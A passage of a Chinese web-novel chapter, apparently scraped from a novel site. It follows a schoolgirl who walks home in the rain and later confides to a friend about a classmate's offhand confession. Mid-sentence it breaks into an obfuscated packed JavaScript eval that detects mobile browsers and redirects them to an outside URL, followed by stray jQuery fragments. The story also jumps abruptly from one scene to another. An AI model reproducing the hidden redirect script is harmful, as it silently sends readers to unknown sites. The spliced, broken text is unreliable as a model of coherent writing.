“怎么回来这么晚？”


    林女士听见动静，拿着洗菜盆从厨房里走出来。


    “下雨了？怎么现在了还下雨？”


    贾芮安蹲在玄关处换鞋，刘海都被雨水打湿了，黏腻地粘在额前。


    “化学老师让我留下来阅卷，就耽搁了。”


    她刚站起身，林女士已经放下菜盆拿过来一条干毛巾递给她，“快擦擦，别感冒了。”


    贾芮安接过毛巾，先冲进洗手间照了照镜子才出来，一副垂头丧气的样子。


    “雨也不是很大，就刚出校门那会儿才开始下，我也是倒霉！”


    “这有什么好照的，赶紧擦擦，一会儿感冒了，你本来就身体素质差。”


    林女士被她这股臭美劲儿气笑了。


    贾芮安从小畏冷，一到换季的时候就容易感冒发烧，更别说一二月份还淋了雨。


    她有些心不在焉地把书包扔在沙发上，拿着毛巾边擦边往卧室里走，脑子里还念着刚才在巷子口那个一闪而过的身影。


    一般要留学生阅卷时，老师都会提前打招呼。


    这次不知道怎的，临放学的时候学委才过来通知，老师点了几个学生去办公室阅卷。


    贾芮安都已经收拾好书包准备去隔壁班级找廖丹丹，结果两人都被留了下来，廖丹丹比她还惨些，被两个老师点名叫走。


    她没有提前跟家里打好招呼，心里有些担心，周五一般都是林女士下厨，如果回去晚了肯定是要被盘问。


    好在化学老师只让批改完选择题，就让他们解散了。


    她离开办公室的时候，廖丹丹还在批阅数学卷子的解答题，那幽怨的眼神是盯着贾芮安出了办公室，随之背影也消失在楼道。


    贾芮安从校门口出来就一路径直回家，雨丝打在脸上凉的她都有些哆嗦。


    好在这个时候学校和街道上都没几个学生，她也不顾及什么形象了，冒着雨快步回家。


    他们一家住在贾父单位的家属大院儿里，离学校算不上远，步行十来分钟就到了。


    贾芮安顺着商铺的屋檐四处走着避雨，等到了进家属大院后门的那条巷口，才舍得从屋檐下出来。


    巷子算不上深，往前是街道，往后接连附近的几个村子，但很少有人从这条巷子里回村。


    路比较窄，又是凹凸不平的土路，一到冬天落了雪便是泥泞不堪。


    最重要是到了晚上连个路灯也没有，就连贾芮安每次回去晚了，都觉得这条巷子有些瘆得慌。


    她到后门的时候天色已经暗了下来，守门的大爷不知道去了哪里，门卫室里空无一人。


    贾芮安轻轻推开铁门上的小门框，幸好没锁，不然等不到大爷来开门，她还要再绕回正门。


    “叮铃，叮铃——”


    身后响起几声清脆的自行车铃声，她下意识回过头去看，巷子口拐进来一个骑自行车的男生，朝这边摁了几下铃。


    其实巷子里也没有别的车和人，贾芮安已经站在了门边，根本不会影响到路过的人。


    也许是骑车的人怕天色暗看不清，才打铃警示下周围。


    她扫了眼那人没在意，径直推开小门走进去。


    等听见自行车的轮子碾过门前的碎石，贾芮安才又回过头去看。


    骑车的人已经从门前过去了，靠近铁门的墙壁处留有一片深红色衣角的残影，下一秒也消失不见了。


    她盯着那片早已空空如也的墙壁，有些恍神。


    “芮安，下着雨呢，站在这里干什么？这孩子。”


    门卫大爷回来了，他手里还拎着暖水壶，应该是刚去饭堂打了热水回来。


    天太冷了，没有点热气腾腾的东西，人怎么熬的下去。


    “李爷爷。”贾芮安很乖巧的打了招呼，“刚刚认错人了，还以为是同学呢。”


    “哦，那赶紧回去吧，这冷的天。”李大爷招了招手示意，自己也转身回了门卫室，闭好门窗。


    贾芮安再没敢留恋，加快步子往家跑去。


    那片红色的衣角她很熟悉，她见过的。那是穆恒常穿的外套，很像，现在细究起来她又有些不确定了。


    穆恒家似乎就是在附近的村子里，具体是哪个村贾芮安不清楚。


    城垣是镇上最好的一所中学，镇上的学生以及附近村子的学生大多都在这里念书。


    村子去学校是有些距离的，所以除了像贾芮安这样本身住在镇上的孩子是走读外，其他的学生大多都选择住校，等周末或者寒暑假才回家。


    现在刚下起雨不久，那人回家的路不知道还有多长，这么冷的天，就只穿了件薄薄的外套。


    贾芮安不敢再多想，她的头发已经完全干透了，手里还捏着毛巾坐在电脑桌前发呆。


    林女士怕她着凉又熬了一碗姜茶端了过来。


    “趁热先喝点，喝完。你爸还有半小时才能换班，晚饭要再等等。”


    贾芮安点了点头，有些疑惑今天家里好像缺了点什么，她问：“贾菲呢？”


    难怪一回家就感觉静悄悄的，是她那个聒噪的妹妹不在家。


    “她说去同学家吃晚饭了，八九点才回家。”林女士说完便出了贾芮安的卧室，还顺手帮她带上了门。


    “哦。”


    一想到还有半个小时的时候，她喝了口姜茶，打开电脑。


    辛辣感漫上舌尖时她还是没忍住吐了下舌头，贾芮安皱眉看了眼那杯黑沉沉的东西，憋着气连着喝了好几口才觉得可以拿去交差了。


    她许久没登录企鹅软件了，下学期便是高三，但其实从这学期开始，课业就比起之前更加繁忙。


    贾芮安的物理成绩一落再落，便再没有玩儿的心思了。


    最近连向睿城那个家伙都没空找她的麻烦了，整日皱着眉头刷题，课间也不怎么和同学搭话。


    他那副认真劲头上来，脸黑的可怕，吓得贾芮安都不敢去打扰他，生怕自己问的问题再蠢到他。


    有什么不会的题只能找机会请教别人。


    假期刚刚开始，这个点同学都陆陆续续回了家，企鹅上在线的人很多。


    只有穆恒的头像还是灰色的。


    贾芮安拉开窗帘向外望了望，好在雨已经停了，只是夜里的风会凉些罢了。


    她又坐回窗前。


    “噔噔噔噔”


    有消息进来，深蓝色的背景里，那个破旧的篮筐在屏幕上疯狂跳动。


    贾芮安随手关掉了床头的台灯，头发铺展在柔软的枕头上，她往廖丹丹那边靠了靠。


    “丹丹，你还记得高二放寒假那天吗？”


    “忘了。”廖丹丹说完噗嗤笑了，“这谁记得住？怎么了？”


    “就是那天老师还留你改卷子呢，我比你先回家，我记得那天还下雨了。”贾芮安在黑暗里用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346140|183538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    胳膊撞了撞旁边的人，催促她。


    廖丹丹笑得更大声了，“我哪次没有被老师留下来阅卷，真记不住了，你就说给我听。”


    “你小声点儿！”贾芮安被她吓得都差上手捂住廖丹丹的嘴了，她想起了这个房间不怎么隔音，“这里隔音不好，一会儿隔壁听见了。”


    “不会吧，不至于。”


    “真的，我......我下午的时候，都，都听见向睿城唱歌了哈哈哈哈哈。”


    贾芮安说完自己都忍不住笑了起来，“真的能听见他唱歌，我们说话该不会隔壁全听见了吧。”


    这种感觉还挺好玩儿，偷听别人的墙角，自己的墙角也可能被别人偷听。


    然后第二天早上大家一见面，互相都假装根本没有这回事儿的样子。


    “不会，你这会儿还能听见隔壁的动静吗？”廖丹丹问。


    听她说完这句话，两人默契的闭了嘴安静听了下，贾芮安甚至将耳朵往墙壁上凑了凑。


    半晌，她摇摇头，“完全听不到了，很安静。”


    “嗯，没事儿，我们说话小声点就行。”廖丹丹拉她睡回被子里，想继续听她说高二放假那天的事情，“你继续说。”


    刚刚突然想起了这件已经过去了很久的事情，贾芮安便下意识脱口而出，这会儿意识到自己要说什么时，又有些尴尬了起来。


    “就，就，高二放寒假那天，我回家刚登录上企鹅......向睿城他发消息过来。”


    “嗯，然后呢？他跟你告白了？”


    “嗯，我印象不是很深了，就记得他说的挺随意，他发了句‘我喜欢你’这样子。”贾芮安抿了抿嘴，有些佩服廖丹丹的敏感，她继续说道。


    “然后他说的下一句就是，‘算了，当我没说’。”


    “我当时都还在愣神，上一句还没消化，他立马又说‘算了’，我可能以为他开玩笑吧，就没当回事了。”说到这里，贾芮安自己也忍不住一个劲儿地回想那天的事情。


    到底是向睿城那天真的只是随口说说，还是她自己根本没怎么在意这件事，她也记不太清了。


    “再后面，好像我妈就喊着我去吃饭了......我现在已经完全忘了当时自己怎么回的他，如果不是今天说给你，我大概也想不起来。”


    如果不是刚才那个该死的视频，她大概真的想不起来这件事。


    一个人的爱意刚好萌发，而另一个人的已凋零许久，算着时间已经不知道要几个年头了，别说凋零。


    如果爱意真的能种出一朵花来，那向睿城的那朵花怕是早已经零落成泥，换了片新的出来。


    廖丹丹听得出她话里的后悔，但这件事在她看来又怎么怪的了贾芮安。


    廖丹丹不是个习惯往后回看的人，于是安慰道，“那现在呢？我怎么感觉他还喜欢你？你有这个想法吗？”


    “我不知道，我们现在一个在南湾，一个在西秦，我根本就没敢想那么多。”


    这下连廖丹丹也不知道怎么回了，她知道贾芮安对于南湾的执着，也知道现实问题摆在他们所有人的面前。


    良久的沉默过去，她以为贾芮安已经不想再聊这件事了，没想到又听见了对方继续说道，声音细小又肯定。


    “我应该是喜欢他的吧。”


    说完，贾芮安抬头忘了眼虚空的墙壁，问道，“你说，隔壁真的听不到我们说话吗？”